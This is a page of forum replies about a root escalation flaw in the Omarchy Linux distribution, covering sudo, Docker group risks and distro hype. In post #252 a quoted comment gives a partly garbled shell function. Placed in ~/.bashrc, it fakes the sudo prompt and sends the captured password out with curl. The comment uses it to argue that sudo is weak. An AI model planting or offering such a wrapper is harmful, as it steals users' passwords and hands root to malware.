Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Omarchy: Any User Process Can Escalate to Root

0xcc.io

Post reply on HN
Print view View original

251–260 of 590 posts

Re: Omarchy: Any User Process Can Escalate to Root

#252

Post by utopiah »

lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

Funnily enough it wouldn't work for me as I use passwordless sudo thanks to PAM-U2F with a YubiKey Bio. I mean realistically speaking it probably would as I would just type it thinking "Hmmm weird" but still want to proceed forward ¯\_ (ツ)_/¯

Re: Omarchy: Any User Process Can Escalate to Root

#253

Post by newspaper1 »

addajones wrote: post #220
Arrowmaster wrote: post #211

Earlier quoted context omitted.

I don't care what he's doing, I care about what he is.

He's a person, just like you are. Let him know then, he has an email and you can message him publicly on X.

> He's a person, just like you are.

He's not like me. I've never posted racist hate filled rants to the internet.

Re: Omarchy: Any User Process Can Escalate to Root

#254

Post by remusrm »

dingaling wrote: post #227
lproven wrote: post #194

Earlier quoted context omitted.

> either have a discoverable GUI for noobs, or a configurable, keyboard driven system Absolutely wrong. Windows is both and it can be 100% keyboard driven.

Try editing key-values in Regedit using only the keyboard.

[dead]

Re: Omarchy: Any User Process Can Escalate to Root

#255

Post by 1123581321 »

esskay wrote: post #55
thehamkercat wrote: post #24

I think people shouldn't just jump to distros which are getting heavily hyped in media/Youtube, cachyOS had similar wave, and now Omarchy does. (example: NetworkChuck, Primeagen? and a few others) also, archlinux is much easier to install nowadays with archinstall [1], so i'm not sure you really need another opinionated layer on top of it [1] - https://wiki.archlinux.org/title/Archinstall

Add that annoying theo guy to that list. Cant stand these people, they confidently push out videos like they're experts, a week later it turns out whatever they were talking about was total crap and they've already abandoned it - case in point OpenClaw. Look at the mess of videos those named above put out about it, not a single one uses it anymore.

Sadly, true. I know a person who gets AI news from that YouTuber and quotes him like he’s a household name and pays him for some repackaged chat models. It’s tedious and hard to talk to them about basic/remedial aspects because their education from YouTube is half-heard and superficial. I’m trying to get him to invest the time in hands-on experience and then we can talk about that. When you’re deep into these channels, you’re not gaining experience and you can’t easily start until you pull away.

Re: Omarchy: Any User Process Can Escalate to Root

#256

Post by utopiah »

lrvick wrote: post #121
leothetechguy wrote: post #109

Earlier quoted context omitted.

Wow. This never crossed my mind but of course that's so simple. There really needs to be a better solution.

There is. Simply do not install sudo and do not allow access to root at runtime. I am serious. There is absolutely nothing you cannot run unprivileged these days. Can even run sshd from a systemd user unit in your home folder, and even assign port 22 to it if needed with Linux Capabilities.

Just don't be in the sudo group.

Re: Omarchy: Any User Process Can Escalate to Root

#258

Post by preommr »

12985-1286 wrote: post #49
isatty wrote: post #40

What on earth is an Omarchy

Officially omakase (clueless chef decides your menu with security issues) and arch linux. The fact that it is almost an anagram of monarchy is probably a plus for DHH.

> The fact that it is almost an anagram of monarchy is probably a plus for DHH.

I spend way too much time online; but it's good to know I am not this terminally online.

Re: Omarchy: Any User Process Can Escalate to Root

#260

Post by hemlock4593 »

steve1977 wrote: post #88
exitb wrote: post #15

It’s not great, but I’m not sure this should be framed as Omarchy-specific, when it’s a very common setup to add regular user to the docker group.

Using Docker instead of podman is the first mistake and that is a distro decision (or a "chef" decision, in Omarchy parlance...)

*rootfull docker.

Rootless docker is perfectly fine.

Post reply on HN